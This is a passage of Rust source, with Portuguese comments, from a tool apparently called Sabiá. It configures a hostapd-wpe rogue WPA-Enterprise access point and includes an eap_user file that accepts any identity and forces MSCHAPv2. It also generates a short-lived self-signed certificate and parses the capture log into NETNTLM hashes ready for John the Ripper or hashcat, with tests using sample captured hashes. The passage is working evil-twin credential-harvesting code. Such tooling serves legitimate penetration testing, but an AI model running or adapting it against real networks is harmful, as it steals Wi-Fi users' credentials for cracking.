let _ = writeln!(out, "wpa_key_mgmt=WPA-EAP");
let _ = writeln!(out, "rsn_pairwise=CCMP");
let _ = writeln!(out, "ieee8021x=1");
let _ = writeln!(out, "eap_server=1");
let _ = writeln!(out, "eap_user_file={eap_user_path}");
let _ = writeln!(out, "ca_cert={ca_cert_path}");
let _ = writeln!(out, "server_cert={server_cert_path}");
let _ = writeln!(out, "private_key={server_key_path}");
let _ = writeln!(out, "wpe_logfile={wpe_logfile_path}");
out
}
/// `eap_user` genérico: aceita qualquer identidade externa pra PEAP/TTLS e
/// força MSCHAPv2 por dentro — é o que faz o hostapd-wpe logar usuário +
/// challenge/response de qualquer cliente que tentar autenticar, sem
/// precisar saber credenciais reais de antemão.
pub const DEFAULT_EAP_USER_FILE: &str = concat!(
"# gerado pelo Sabiá — aceita qualquer identidade, qualquer EAP externo\n",
"* PEAP,TTLS\n",
"\"anonymous\" TTLS-MSCHAPV2,MSCHAPV2 \"senha\" [2]\n",
);
/// Argumentos do `openssl req` pra gerar o par certificado+chave
/// autoassinado que o hostapd-wpe precisa pra abrir TLS (PEAP/TTLS sempre
/// envolve um túnel TLS, mesmo sendo um AP falso). Efêmero: 1 dia de validade
/// é de sobra pra uma sessão de teste.
pub fn openssl_selfsigned_cert_args(key_path: &str, cert_path: &str) -> Vec<String> {
[
"req",
"-x509",
"-newkey",
"rsa:2048",
"-keyout",
key_path,
"-out",
cert_path,
"-days",
"1",
"-nodes",
"-subj",
"/CN=sabia-wpe",
]
.into_iter()
.map(String::from)
.collect()
}
fn sanitize_conf_value(value: &str) -> String {
value.replace(['\n', '\r'], "")
}
/// Uma credencial capturada: identidade + a linha pronta pra crackear
/// (formato `netntlm` do John the Ripper / compatível com `hashcat -m 5500`),
/// se o hostapd-wpe conseguiu capturar os dois.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct CapturedCredential {
pub username: String,
pub netntlm: Option<String>,
}
/// Lê o `wpe_logfile` e extrai as credenciais capturadas. Parser
/// best-effort: o formato do hostapd-wpe é documentado (blocos
/// `username:`/`challenge:`/`response:`/`jtr NETNTLM:`), mas não dá pra
/// validar contra uma instalação de verdade nesta máquina (não é um
/// binário que o Sabiá vendoriza). Pega a linha `jtr NETNTLM:` quando
/// presente — já vem pronta pra `john --format=netntlm` ou pra reformatar
/// pro `hashcat -m 5500` — e nunca falha "silenciosamente demais": o job
/// sempre expõe o arquivo de log cru também, pra conferência manual.
pub fn captured_identities(log: &str) -> Vec<CapturedCredential> {
let mut out: Vec<CapturedCredential> = Vec::new();
let mut current_username: Option<String> = None;
for raw_line in log.lines() {
let line = raw_line.trim();
if let Some(rest) = line.strip_prefix("username:") {
current_username = Some(rest.trim().to_string());
} else if let Some(rest) = line.strip_prefix("jtr NETNTLM:") {
let netntlm = rest.trim().to_string();
let username = current_username
.clone()
.or_else(|| netntlm.split(':').next().map(str::to_string))
.unwrap_or_default();
if !out.iter().any(|c: &CapturedCredential| {
c.username == username && c.netntlm.as_deref() == Some(netntlm.as_str())
}) {
out.push(CapturedCredential {
username,
netntlm: Some(netntlm),
});
}
}
}
out
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn hostapd_wpe_conf_includes_eap_and_tls_directives() {
let conf = hostapd_wpe_conf(
"wlan1",
"Corp\nWifi",
149,
"/tmp/eap_user",
"/tmp/ca.pem",
"/tmp/server.pem",
"/tmp/server.key",
"/tmp/wpe.log",
);
assert!(conf.contains("interface=wlan1"));
assert!(conf.contains("ssid=CorpWifi"));
assert!(!conf.contains("ssid=Corp\nWifi"));
assert!(conf.contains("hw_mode=a"));
assert!(conf.contains("ieee8021x=1"));
assert!(conf.contains("eap_server=1"));
assert!(conf.contains("eap_user_file=/tmp/eap_user"));
assert!(conf.contains("wpe_logfile=/tmp/wpe.log"));
}
#[test]
fn openssl_args_reference_the_right_paths() {
let args = openssl_selfsigned_cert_args("/tmp/k.key", "/tmp/c.pem");
assert!(args.contains(&"/tmp/k.key".to_string()));
assert!(args.contains(&"/tmp/c.pem".to_string()));
assert!(args.contains(&"-x509".to_string()));
}
#[test]
fn captured_identities_parses_username_and_netntlm_blocks() {
let log = "\
mschapv2: Thu Jan 1 00:00:00 1970
username: bob
challenge: aabbccddeeff0011
response: 1122334455667788990011223344556677889900aabbcc
jtr NETNTLM: bob:$NETNTLM$aabbccddeeff0011$1122334455667788990011223344556677889900aabbcc
mschapv2: Thu Jan 1 00:01:00 1970
username: alice
jtr NETNTLM: alice:$NETNTLM$0011223344556677$aabbccddeeff00112233445566778899aabbccdd
";
let creds = captured_identities(log);
assert_eq!(creds.len(), 2);
assert_eq!(creds[0].username, "bob");
assert!(creds[0]
.netntlm
.as_deref()
.unwrap()
.starts_with("bob:$NETNTLM$"));
assert_eq!(creds[1].username, "alice");
}
#[test]
fn captured_identities_dedupes_repeated_blocks_across_reparses() {
let log = "\
username: bob
jtr NETNTLM: bob:$NETNTLM$aa$bb
username: bob
jtr NETNTLM: bob:$NETNTLM$aa$bb
";
let creds = captured_identities(log);
assert_eq!(creds.len(), 1);
}
#[test]
fn captured_identities_returns_empty_for_a_log_with_no_credentials_yet() {
assert!(captured_identities("").is_empty());
assert!(captured_identities("hostapd-wpe v2.x starting up\n").is_empty());
}
}